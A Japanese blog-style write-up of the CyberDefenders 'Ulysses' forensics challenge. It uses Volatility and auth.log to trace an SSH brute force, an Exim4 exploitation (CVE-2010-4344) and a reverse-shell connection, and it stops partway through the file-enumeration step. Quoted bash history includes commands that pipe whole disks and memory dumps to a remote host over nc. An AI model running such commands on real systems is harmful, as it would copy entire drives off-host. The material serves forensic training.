初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は CyberDefenders （以下リンク参考）の「Ulysses」にチャレンジした際のWriteupになります

※本チャレンジについてはRed側のペネトレというよりはBlue側の分析力を問われるものになります。

環境準備

ファイルシステムダンプ、メモリダンプ、Volatilityプロファイルがそれぞれ渡されるので環境をREMnux上に作っておきます。

remnux@remnux:~/Downloads/Ulysses$ sudo mount victoria-v8.sda1.img /mnt/ulysses/sda/

remnux@remnux:~/Downloads/Ulysses$ sudo cp Debian5_26.zip /usr/local/lib/python2.7/dist-packages/volatility/plugins/overlays/linux/
remnux@remnux:~/Downloads/Ulysses$ 
remnux@remnux:~/Downloads/Ulysses$ vol.py --info |grep -i debian
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends.openssl import backend
LinuxDebian5_26x86    - A Profile for Linux Debian5_26 x86
remnux@remnux:~/Downloads/Ulysses$

一応Volatilityでメモリダンプが読めそうかどうか確認しておきます。

remnux@remnux:~/Downloads/Ulysses$ vol.py -f victoria-v8.memdump.img imageinfo
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends.openssl import backend
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : No suggestion (Instantiated with LinuxDebian5_26x86)
                     AS Layer1 : IA32PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/remnux/Downloads/Ulysses/victoria-v8.memdump.img)
                      PAE type : No PAE
                           DTB : 0x3bc000L

LinuxDebian5_26x86が出てるので読めそうですね。

The attacker was performing a Brute Force attack. What account triggered the alert?

ファイルシステム上のログファイルを見つけます。

remnux@remnux:/mnt/ulysses/sda$ find /mnt/ulysses/sda -name "*log*" 2>/dev/null
/mnt/ulysses/sda/bin/login
/mnt/ulysses/sda/usr/bin/rlogin
/mnt/ulysses/sda/usr/bin/setlogcons
/mnt/ulysses/sda/usr/bin/lastlog
/mnt/ulysses/sda/usr/bin/logname
/mnt/ulysses/sda/usr/bin/savelog
/mnt/ulysses/sda/usr/bin/logger
/mnt/ulysses/sda/usr/bin/slogin
/mnt/ulysses/sda/usr/bin/faillog
/mnt/ulysses/sda/usr/include/lastlog.h
/mnt/ulysses/sda/usr/include/syslog.h
/mnt/ulysses/sda/usr/include/bits/syslog-ldbl.h
/mnt/ulysses/sda/usr/include/bits/syslog.h
/mnt/ulysses/sda/usr/include/bits/syslog-path.h
/mnt/ulysses/sda/usr/include/linux/netfilter/nfnetlink_log.h
/mnt/ulysses/sda/usr/include/linux/netfilter_bridge/ebt_log.h
/mnt/ulysses/sda/usr/include/linux/netfilter_bridge/ebt_ulog.h
/mnt/ulysses/sda/usr/include/sys/syslog.h
/mnt/ulysses/sda/usr/include/sys/klog.h

...省略

/mnt/ulysses/sda/sbin/sulogin
/mnt/ulysses/sda/sbin/logsave
/mnt/ulysses/sda/var/cache/apt/archives/rsyslog_3.18.6-4_i386.deb
/mnt/ulysses/sda/var/cache/apt/archives/logrotate_3.7.1-5_i386.deb
/mnt/ulysses/sda/var/cache/apt/archives/login_1%3a4.1.1-6+lenny1_i386.deb
/mnt/ulysses/sda/var/run/rsyslogd.pid
/mnt/ulysses/sda/var/log
/mnt/ulysses/sda/var/log/pycentral.log
/mnt/ulysses/sda/var/log/daemon.log
/mnt/ulysses/sda/var/log/lastlog
/mnt/ulysses/sda/var/log/exim4/rejectlog
/mnt/ulysses/sda/var/log/exim4/mainlog
/mnt/ulysses/sda/var/log/exim4/paniclog
/mnt/ulysses/sda/var/log/installer/syslog
/mnt/ulysses/sda/var/log/auth.log
/mnt/ulysses/sda/var/log/kern.log
/mnt/ulysses/sda/var/log/apt/term.log
/mnt/ulysses/sda/var/log/user.log
/mnt/ulysses/sda/var/log/syslog
/mnt/ulysses/sda/var/log/lpr.log
/mnt/ulysses/sda/var/log/faillog
/mnt/ulysses/sda/var/log/dpkg.log
/mnt/ulysses/sda/var/log/mail.log
/mnt/ulysses/sda/var/lib/logrotate
/mnt/ulysses/sda/var/lib/dpkg/alternatives/rlogin
/mnt/ulysses/sda/var/lib/dpkg/info/rsyslog.list
/mnt/ulysses/sda/var/lib/dpkg/info/login.preinst
/mnt/ulysses/sda/var/lib/dpkg/info/logrotate.md5sums
/mnt/ulysses/sda/var/lib/dpkg/info/rsyslog.conffiles
/mnt/ulysses/sda/var/lib/dpkg/info/rsyslog.prerm
/mnt/ulysses/sda/var/lib/dpkg/info/login.postinst
/mnt/ulysses/sda/var/lib/dpkg/info/logrotate.conffiles
/mnt/ulysses/sda/var/lib/dpkg/info/logrotate.list
/mnt/ulysses/sda/var/lib/dpkg/info/login.md5sums
/mnt/ulysses/sda/var/lib/dpkg/info/rsyslog.postinst
/mnt/ulysses/sda/var/lib/dpkg/info/rsyslog.preinst
/mnt/ulysses/sda/var/lib/dpkg/info/rsyslog.md5sums
/mnt/ulysses/sda/var/lib/dpkg/info/login.list
/mnt/ulysses/sda/var/lib/dpkg/info/logrotate.preinst
/mnt/ulysses/sda/var/lib/dpkg/info/rsyslog.postrm
/mnt/ulysses/sda/var/lib/dpkg/info/login.conffiles
/mnt/ulysses/sda/var/lib/dpkg/info/logrotate.postrm
/mnt/ulysses/sda/lib/security/pam_loginuid.so
/mnt/ulysses/sda/lib/security/pam_lastlog.so
/mnt/ulysses/sda/lib/security/pam_nologin.so
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/drivers/scsi/qlogicfas408.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/drivers/scsi/pcmcia/qlogic_cs.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/drivers/scsi/qlogicfas.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/drivers/md/dm-log.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/drivers/input/joystick/analog.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/drivers/input/mouse/logibm.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/net/netfilter/nfnetlink_log.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/net/bridge/netfilter/ebt_ulog.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/net/bridge/netfilter/ebt_nflog.ko
/mnt/ulysses/sda/lib/modules/2.6.26-2-686/kernel/net/bridge/netfilter/ebt_log.ko
/mnt/ulysses/sda/lib/udev/logger.agent

まぁ問題文から無難にauth.logを見ます。

remnux@remnux:/mnt/ulysses/sda$ cat /mnt/ulysses/sda/var/log/auth.log
Jan 18 09:31:44 victoria login[2001]: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
Jan 18 09:31:44 victoria login[2021]: ROOT LOGIN  on 'tty1'
Jan 18 09:58:01 victoria login[1975]: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
Jan 18 09:58:02 victoria login[2000]: ROOT LOGIN  on 'tty1'
Jan 18 10:57:37 victoria login[1973]: pam_unix(login:session): session opened for user root by LOGIN(uid=0)

...省略

Feb  6 15:16:46 victoria sshd[2088]: Failed password for invalid user ulysses from 192.168.56.1 port 34441 ssh2
Feb  6 15:16:49 victoria sshd[2088]: pam_unix(sshd:auth): check pass; user unknown
Feb  6 15:16:51 victoria sshd[2088]: Failed password for invalid user ulysses from 192.168.56.1 port 34441 ssh2
Feb  6 15:16:54 victoria sshd[2088]: pam_unix(sshd:auth): check pass; user unknown
Feb  6 15:16:56 victoria sshd[2088]: Failed password for invalid user ulysses from 192.168.56.1 port 34441 ssh2
Feb  6 15:16:56 victoria sshd[2088]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.1 
Feb  6 15:16:58 victoria sshd[2090]: Invalid user ulysses from 192.168.56.1
Feb  6 15:16:58 victoria sshd[2090]: Failed none for invalid user ulysses from 192.168.56.1 port 34442 ssh2
Feb  6 15:16:59 victoria sshd[2090]: Failed password for invalid user ulysses from 192.168.56.1 port 34442 ssh2
Feb  6 15:16:59 victoria sshd[2090]: Failed password for invalid user ulysses from 192.168.56.1 port 34442 ssh2
Feb  6 15:17:00 victoria sshd[2090]: Failed password for invalid user ulysses from 192.168.56.1 port 34442 ssh2
Feb  6 15:17:01 victoria sshd[2092]: Invalid user ulysses from 192.168.56.1
Feb  6 15:17:01 victoria sshd[2092]: Failed none for invalid user ulysses from 192.168.56.1 port 34443 ssh2
Feb  6 15:17:01 victoria CRON[2094]: pam_unix(cron:session): session opened for user root by (uid=0)
Feb  6 15:17:02 victoria CRON[2094]: pam_unix(cron:session): session closed for user root
Feb  6 15:17:02 victoria sshd[2092]: Failed password for invalid user ulysses from 192.168.56.1 port 34443 ssh2
Feb  6 15:17:02 victoria sshd[2092]: Failed password for invalid user ulysses from 192.168.56.1 port 34443 ssh2
Feb  6 15:17:02 victoria sshd[2092]: Failed password for invalid user ulysses from 192.168.56.1 port 34443 ssh2
Feb  6 15:17:03 victoria sshd[2097]: Invalid user ulysses from 192.168.56.1
Feb  6 15:17:03 victoria sshd[2097]: Failed none for invalid user ulysses from 192.168.56.1 port 34444 ssh2
Feb  6 15:17:05 victoria sshd[2097]: Failed password for invalid user ulysses from 192.168.56.1 port 34444 ssh2
Feb  6 15:17:07 victoria sshd[2097]: Failed password for invalid user ulysses from 192.168.56.1 port 34444 ssh2
Feb  6 15:17:07 victoria sshd[2097]: Failed password for invalid user ulysses from 192.168.56.1 port 34444 ssh2
Feb  6 15:17:08 victoria sshd[2099]: Invalid user ulysses from 192.168.56.1
Feb  6 15:17:08 victoria sshd[2099]: Failed none for invalid user ulysses from 192.168.56.1 port 34445 ssh2
Feb  6 15:17:12 victoria sshd[2099]: Failed password for invalid user ulysses from 192.168.56.1 port 34445 ssh2
Feb  6 15:17:12 victoria sshd[2099]: Failed password for invalid user ulysses from 192.168.56.1 port 34445 ssh2
Feb  6 15:17:12 victoria sshd[2099]: Failed password for invalid user ulysses from 192.168.56.1 port 34445 ssh2
Feb  6 15:19:25 victoria sshd[2153]: Invalid user ulysses from 192.168.56.1
Feb  6 15:19:25 victoria sshd[2153]: Failed none for invalid user ulysses from 192.168.56.1 port 34475 ssh2
Feb  6 15:19:27 victoria sshd[2153]: pam_unix(sshd:auth): check pass; user unknown
Feb  6 15:19:27 victoria sshd[2153]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.1 
Feb  6 15:19:29 victoria sshd[2153]: Failed password for invalid user ulysses from 192.168.56.1 port 34475 ssh2
Feb  6 15:19:32 victoria sshd[2153]: pam_unix(sshd:auth): check pass; user unknown
Feb  6 15:19:34 victoria sshd[2153]: Failed password for invalid user ulysses from 192.168.56.1 port 34475 ssh2
Feb  6 15:19:35 victoria sshd[2153]: Failed password for invalid user ulysses from 192.168.56.1 port 34475 ssh2
Feb  6 15:19:35 victoria sshd[2153]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.1 
Feb  6 15:20:54 victoria sshd[2157]: Invalid user ulysses from 192.168.56.1
Feb  6 15:20:54 victoria sshd[2157]: Failed none for invalid user ulysses from 192.168.56.1 port 44616 ssh2
Feb  6 15:20:58 victoria sshd[2157]: pam_unix(sshd:auth): check pass; user unknown
Feb  6 15:20:58 victoria sshd[2157]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.1 
Feb  6 15:21:00 victoria sshd[2157]: Failed password for invalid user ulysses from 192.168.56.1 port 44616 ssh2
Feb  6 15:21:03 victoria sshd[2157]: pam_unix(sshd:auth): check pass; user unknown
Feb  6 15:21:05 victoria sshd[2157]: Failed password for invalid user ulysses from 192.168.56.1 port 44616 ssh2
Feb  6 15:21:09 victoria sshd[2157]: pam_unix(sshd:auth): check pass; user unknown
Feb  6 15:21:10 victoria sshd[2157]: Failed password for invalid user ulysses from 192.168.56.1 port 44616 ssh2
Feb  6 15:21:10 victoria sshd[2157]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.1 
remnux@remnux:/mnt/ulysses/sda$

パッとuser名が見えると思います。

Ans: ulysses

How many were failed attempts there?

grepでFailedを引っかけます。

Ans: 32

What kind of system runs on the targeted server?

issueを確認します。

Ans: Debian GNU/Linux 5.0

What is the victim's IP address?

linux_netstatで確認できます。

remnux@remnux:~/Downloads/Ulysses$ vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_netstat
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends.openssl import backend
UNIX 2190                 udevd/776   
UDP      0.0.0.0         :  111 0.0.0.0         :    0                           portmap/1429 
TCP      0.0.0.0         :  111 0.0.0.0         :    0 LISTEN                    portmap/1429 
UDP      0.0.0.0         :  769 0.0.0.0         :    0                         rpc.statd/1441 
UDP      0.0.0.0         :38921 0.0.0.0         :    0                         rpc.statd/1441 
TCP      0.0.0.0         :39296 0.0.0.0         :    0 LISTEN                  rpc.statd/1441 
UDP      0.0.0.0         :   68 0.0.0.0         :    0                         dhclient3/1624 
UNIX 5069             dhclient3/1624  
UNIX 4617              rsyslogd/1661  /dev/log
UNIX 4636                 acpid/1672  /var/run/acpid.socket
UNIX 4638                 acpid/1672  
TCP      ::              :   22 ::              :    0 LISTEN                       sshd/1687 
TCP      0.0.0.0         :   22 0.0.0.0         :    0 LISTEN                       sshd/1687 
TCP      ::              :   25 ::              :    0 LISTEN                      exim4/1942 
TCP      0.0.0.0         :   25 0.0.0.0         :    0 LISTEN                      exim4/1942 
UNIX 5132                 login/1990  
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                    sh/2065 
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                    sh/2065 
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                    sh/2065 
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                          sh/2065 
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                          sh/2065 
TCP      192.168.56.102  :56955 192.168.56.1    : 8888 ESTABLISHED                    nc/2169 
remnux@remnux:~/Downloads/Ulysses$

Ans: 192.168.56.102

What are the attacker's two IP addresses? Format: comma-separated in ascending order

先ほどのコマンドで確認できます。
Ans: 192.168.56.1,192.168.56.101

What is the "nc" service PID number that was running on the server?

linux_pslistコマンドで確認できます。

remnux@remnux:~/Downloads/Ulysses$ vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_pslist
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends.openssl import backend
Offset     Name                 Pid             PPid            Uid             Gid    DTB        Start Time
---------- -------------------- --------------- --------------- --------------- ------ ---------- ----------
0xcf42f900 init                 1               0               0               0      0x0f4b8000 2011-02-06 12:04:09 UTC+0000
0xcf42f4e0 kthreadd             2               0               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf42f0c0 migration/0          3               2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf42eca0 ksoftirqd/0          4               2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf42e880 watchdog/0           5               2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf42e460 events/0             6               2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf42e040 khelper              7               2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf4a1a40 kblockd/0            39              2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf4a1200 kacpid               41              2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf45d140 kacpi_notify         42              2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf46c940 kseriod              86              2               0               0      ---------- 2011-02-06 12:04:09 UTC+0000
0xcf43f100 pdflush              123             2               0               0      ---------- 2011-02-06 12:04:10 UTC+0000
0xcf45d980 pdflush              124             2               0               0      ---------- 2011-02-06 12:04:10 UTC+0000
0xcf45d560 kswapd0              125             2               0               0      ---------- 2011-02-06 12:04:10 UTC+0000
0xcf43f520 aio/0                126             2               0               0      ---------- 2011-02-06 12:04:10 UTC+0000
0xcf45c4e0 ksuspend_usbd        581             2               0               0      ---------- 2011-02-06 12:04:14 UTC+0000
0xcf48d1c0 khubd                582             2               0               0      ---------- 2011-02-06 12:04:14 UTC+0000
0xcf46d9c0 ata/0                594             2               0               0      ---------- 2011-02-06 12:04:15 UTC+0000
0xcf802a00 ata_aux              595             2               0               0      ---------- 2011-02-06 12:04:15 UTC+0000
0xcf43e080 scsi_eh_0            634             2               0               0      ---------- 2011-02-06 12:04:17 UTC+0000
0xcf45c0c0 kjournald            700             2               0               0      ---------- 2011-02-06 12:04:18 UTC+0000
0xcf46d5a0 udevd                776             1               0               0      0x0f5b2000 2011-02-06 12:04:21 UTC+0000
0xce978620 kpsmoused            1110            2               0               0      ---------- 2011-02-06 12:04:27 UTC+0000
0xce9796a0 portmap              1429            1               1               1      0x0eddf000 2011-02-06 12:04:35 UTC+0000
0xce973b00 rpc.statd            1441            1               102             0      0x0f8b3000 2011-02-06 12:04:35 UTC+0000
0xcf45c900 dhclient3            1624            1               0               0      0x0ec3d000 2011-02-06 12:04:39 UTC+0000
0xce972660 rsyslogd             1661            1               0               0      0x0e7ed000 2011-02-06 12:04:40 UTC+0000
0xcf43ece0 acpid                1672            1               0               0      0x0f8a8000 2011-02-06 12:04:40 UTC+0000
0xce979ac0 sshd                 1687            1               0               0      0x0fa65000 2011-02-06 12:04:41 UTC+0000
0xcf45cd20 exim4                1942            1               101             103    0x0e7bc000 2011-02-06 12:04:44 UTC+0000
0xcf803a80 cron                 1973            1               0               0      0x0f815000 2011-02-06 12:04:45 UTC+0000
0xcfaad720 login                1990            1               0               0      0x0eecf000 2011-02-06 12:04:45 UTC+0000
0xcf48c560 getty                1992            1               0               0      0x0ea31000 2011-02-06 12:04:45 UTC+0000
0xcf803240 getty                1994            1               0               0      0x0f671000 2011-02-06 12:04:45 UTC+0000
0xcf4a1620 getty                1996            1               0               0      0x0f838000 2011-02-06 12:04:45 UTC+0000
0xcf46cd60 getty                1998            1               0               0      0x0f83d000 2011-02-06 12:04:45 UTC+0000
0xcf4a0180 getty                2000            1               0               0      0x0e89e000 2011-02-06 12:04:45 UTC+0000
0xcf8021c0 bash                 2042            1990            0               0      0x0eecc000 2011-02-06 14:04:38 UTC+0000
0xcfaacee0 sh                   2065            1               0               0      0x0f517000 2011-02-06 14:07:15 UTC+0000
0xcfaac280 memdump              2168            2042            0               0      0x08088000 2011-02-06 14:42:27 UTC+0000
0xcf43e8c0 nc                   2169            2042            0               0      0x08084000 2011-02-06 14:42:27 UTC+0000
remnux@remnux:~/Downloads/Ulysses$

Ans: 2169

What service was exploited to gain access to the system? (one word)

サービス名が末尾4の文字で終わるみたいです。
であればexim4か？と思いつつももう少し調査します。
linux_bashでコマンドを確認します。

remnux@remnux:~/Downloads/Ulysses$ vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_bash
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends.openssl import backend
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-base
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-daemon-light
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-config
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls -a
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg --purge
    2042 bash                 2011-02-06 14:04:39 UTC+0000   pwd
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
    2042 bash                 2011-02-06 14:04:39 UTC+0000   mkdir exim4
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-config_4.69-9_all.deb 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   cd exim4/
    2042 bash                 2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exmi4/* .
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i --ignore-depends=exim4-base,exim4-daemon-light exim4_4.69-9_all.deb 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4_4.69-9_all.deb 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   /etc/init.d/networking restart
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   /etc/init.d/networking start
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
    2042 bash                 2011-02-06 14:04:39 UTC+0000   cd /etc/exim4/
    2042 bash                 2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exim4/* .
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-daemon-light_4.69-9_i386.deb 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   cd ..
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls
    2042 bash                 2011-02-06 14:04:39 UTC+0000   rm -rf exim4/
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi .bash
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi .ssh/known_hosts
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi .bash_history 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi update-exim4.conf.conf 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   update-exim4.conf
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   reboot
    2042 bash                 2011-02-06 14:04:39 UTC+0000   whereis gcc
    2042 bash                 2011-02-06 14:04:39 UTC+0000   whereis memdump
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install memdump
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ping 192.168.56.1
    2042 bash                 2011-02-06 14:04:39 UTC+0000   mount
    2042 bash                 2011-02-06 14:04:39 UTC+0000   sudo dd if=/dev/sda | nc 192.168.56.1 4444
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda | nc 192.168.56.1 4444
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 4444
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install memdump
    2042 bash                 2011-02-06 14:04:39 UTC+0000   netstat  -ant
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install ddrescue
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install dcfldd
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls /dev/kmem 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls /dev/mem
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig 
    2042 bash                 2011-02-06 14:04:39 UTC+0000   reboot
    2042 bash                 2011-02-06 14:04:46 UTC+0000   ifconfig 
    2042 bash                 2011-02-06 14:24:43 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 8888
    2042 bash                 2011-02-06 14:42:29 UTC+0000   memdump | nc 192.168.56.1 8888
remnux@remnux:~/Downloads/Ulysses$

exim4関連をいじくっているのでこれ見たいですね。

Ans: Exim4

What is the CVE number of exploited vulnerability?

exim4-base_4.69-9をダウンロードしているのでこのVersionの脆弱性を調査します。
すると以下の記事を発見できます。

このRCEのCVEでしょうね。
Ans: CVE-2010-4344

During this attack, the attacker downloaded two files to the server. Provide the name of the compressed file.

??.???の文字のファイルをlinux_enumerate_filesで列挙します。

remnux@remnux:~/Downloads/Ulysses$ vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_enumerate_files | grep "..\....$"
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends.openssl import backend
   0xcf1e2e48                     39467 /tmp/rk.tar
          0x0 ------------------------- /var/spool/exim4/s.c.gch
   0xcf1364ac                      8318 /var/log/news/news.err
   0xcf136a70                      8312 /var/log/mail.err
   0xcf1340d4                      8307 /var/log/user.log
   0xcf1342c0                      8306 /var/log/mail.log
   0xcf1344ac                      8305 /var/log/lpr.log
   0xcf134698                      8302 /var/log/kern.log
   0xcf134884                      8301 /var/log/daemon.log
   0xcf134c5c                      8296 /var/log/auth.log
   0xcf11a884                      7503 /var/run/portmap.pid
   0xcf15a0d4                      8294 /var/run/crond.pid
   0xcf11c884                      8278 /var/run/rpc.statd.pid
          0x0 ------------------------- /usr/include/gnu/stubs-32.h.gch
          0x0 ------------------------- /usr/include/gnu/stubs.h.gch
          0x0 ------------------------- /usr/include/bits/wordsize.h.gch
          0x0 ------------------------- /usr/include/sys/cdefs.h.gch
          0x0 ------------------------- /usr/include/features.h.gch
          0x0 ------------------------- /usr/include/stdio.h.gch
   0xcf2542c0                     27638 /usr/lib/libgmp.so.3.4.2
   0xcf254698                     27642 /usr/lib/libmpfr.so.1.1.1
          0x0 ------------------------- /usr/lib/gcc/i486-linux-gnu/4.3/include-fixed/features.h.gch
          0x0 ------------------------- /usr/lib/gcc/i486-linux-gnu/4.3/include-fixed/stdio.h.gch
          0x0 ------------------------- /usr/lib/gcc/i486-linux-gnu/4.3/include/stddef.h.gch
          0x0 ------------------------- /usr/lib/gcc/i486-linux-gnu/4.3/include/features.h.gch
          0x0 ------------------------- /usr/lib/gcc/i486-linux-gnu/4.3/include/stdio.h.gch
   0xcf2570d4                     21854 /usr/lib/gcc/i486-linux-gnu/4.3.2
          0x0 ------------------------- /usr/lib/perl/5.10.0/vars.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/File/Spec.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/Fcntl.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/IO.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/SelectSaver.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/Symbol.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/IO/Handle.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/IO/Seekable.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/IO/File.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/strict.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/FileHandle.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/XSLoader.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/warnings.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/Exporter.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/Carp.pmc
          0x0 ------------------------- /usr/lib/perl/5.10.0/Socket.pmc
          0x0 ------------------------- /usr/lib/perl5/vars.pmc
          0x0 ------------------------- /usr/lib/perl5/Fcntl.pmc
          0x0 ------------------------- /usr/lib/perl5/IO.pmc
          0x0 ------------------------- /usr/lib/perl5/SelectSaver.pmc
          0x0 ------------------------- /usr/lib/perl5/Symbol.pmc
          0x0 ------------------------- /usr/lib/perl5/strict.pmc
          0x0 ------------------------- /usr/lib/perl5/FileHandle.pmc
          0x0 ------------------------- /usr/lib/perl5/XSLoader.pmc
          0x0 ------------------------- /usr/lib/perl5/warnings.pmc
          0x0 ------------------------- /usr/lib/perl5/Exporter.pmc
          0x0 ------------------------- /usr/lib/perl5/Carp.pmc
          0x0 ------------------------- /usr/lib/perl5/Socket.pmc
   0xcf1552c0                     25174 /usr/lib/libgcrypt.so.11.4.4
   0xcf155698                     25167 /usr/lib/libgpg-error.so.0.3.0
   0xcf155e48                     25183 /usr/lib/libgnutls.so.26.4.6
   0xcf13f4ac                     23221 /usr/lib/libkrb5support.so.0.1
